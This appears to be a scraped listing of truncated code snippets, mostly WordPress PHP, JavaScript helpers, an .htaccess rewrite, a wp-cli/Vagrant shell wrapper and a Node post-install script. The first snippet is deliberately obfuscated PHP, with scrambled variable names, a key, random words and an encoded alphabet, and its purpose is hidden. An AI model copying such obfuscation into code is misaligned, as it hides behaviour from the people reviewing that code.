This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//header('Content-Type:text/html; charset=utf-8'); | |
$O0_0O0_O_O = 'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW'; | |
$OOO0_0_O_0 = 'mazama2648'; | |
$OO00O_O0__ = 1639; | |
$O0O00__OO_ = 'B/A/C_rimu-molasses/laudanidine/D-E/'; | |
$O0OOO_00__ = 233; | |
$O0O0_0O__O = 1; | |
$O__00_OO0O = array("coenenchyma", "disinfestation", "causable", "intercept", "antirattler", "inveracity", "forgery", "errantly", "beaverboard", "hemoglobinocholia", "hibito", "affination", "gourde", "fustic", "acroceraunian", "battleship", "areotectonics", "inflexibility", "hymnodical", "monticoline", "canny", "exilement", "leasehold", "metastasis", "absorbency");; | |
$O0_00OO__O = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Cookies from 'cookies-js'; | |
export function getRegion() { | |
return new Promise((resolve, reject) => { | |
function deg2rad(deg) { | |
return deg * (Math.PI / 180); | |
} | |
function getDistanceFromLatLonInKm(lat1, lon1, lat2, lon2) { | |
const R = 6371; // Radius of the earth in km |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteRule ^static/(.*)$ /subfolder/static/$1 [R=301,NC,L] # magic line, rewrite requests to domain.com/static to domain.com/subfolder/static. Quite useful on locked webhosts. | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] | |
RewriteCond %{REQUEST_FILENAME} !-f | |
RewriteCond %{REQUEST_FILENAME} !-d | |
RewriteRule . /index.php [L] | |
</IfModule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { | |
runOnce | |
} from './runOnce.js'; | |
export function openModal(element = undefined) { | |
const modalWrapper = element instanceof HTMLElement ? element : document.querySelector('.modal'); | |
const actualModal = modalWrapper.children[0]; | |
if (modalWrapper.classList.contains('transitionInProgress')) { | |
return false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('after_setup_theme', function() { | |
add_theme_support('title-tag'); | |
add_theme_support('post-thumbnails'); | |
add_theme_support('html5', array( | |
'search-form', | |
// 'comment-form', // disabled because WP adds a "novalidate" attr on the form that is unfilterable. | |
'comment-list', | |
'gallery', | |
'caption', | |
)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add to your .bashrc or whatever. | |
# Use wp-cli like you normally would: wp plugin activate duplicate-post | |
function wp { | |
if [ -f Vagrantfile ]; then | |
echo "Running wp-cli in Vagrant..." | |
vagrant ssh --command "wp $(echo $@)" | |
fi | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter('page_template', function(){ | |
$page = get_queried_object(); | |
$parent_id = $page->post_parent; | |
$templates = array(); | |
$template = get_post_meta($page->ID, "_wp_page_template", true); | |
if (!empty($template) && $template !== "default") { | |
// If the page has a page template set, use that and return immediately. | |
return locate_template($template); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('admin_footer', function() { | |
$screen = get_current_screen(); | |
if ($screen->base === 'post') { | |
?> | |
<script src="http://stylus-lang.com/try/stylus.min.js"></script> | |
<!-- Please DO NOT hotlink to the file in your code. | |
Instead, save it locally and refer to the local file instead. --> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function box_linklist($links = NULL) { | |
if (is_null($links)) { | |
// Just a set of defaults for development. | |
$links = array( | |
array( | |
"text" => "Sample", | |
"children" => array( | |
array( | |
"text" => "1. Subitem", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const nl = require('os').EOL; | |
const LineByLineReader = require('line-by-line'); | |
const cp = require('child_process'); | |
afterInstall('.env', 'utf8'); | |
function afterInstall(filename, encoding) { | |
const envVars = { | |
'GIT_COMMIT_HASH': { |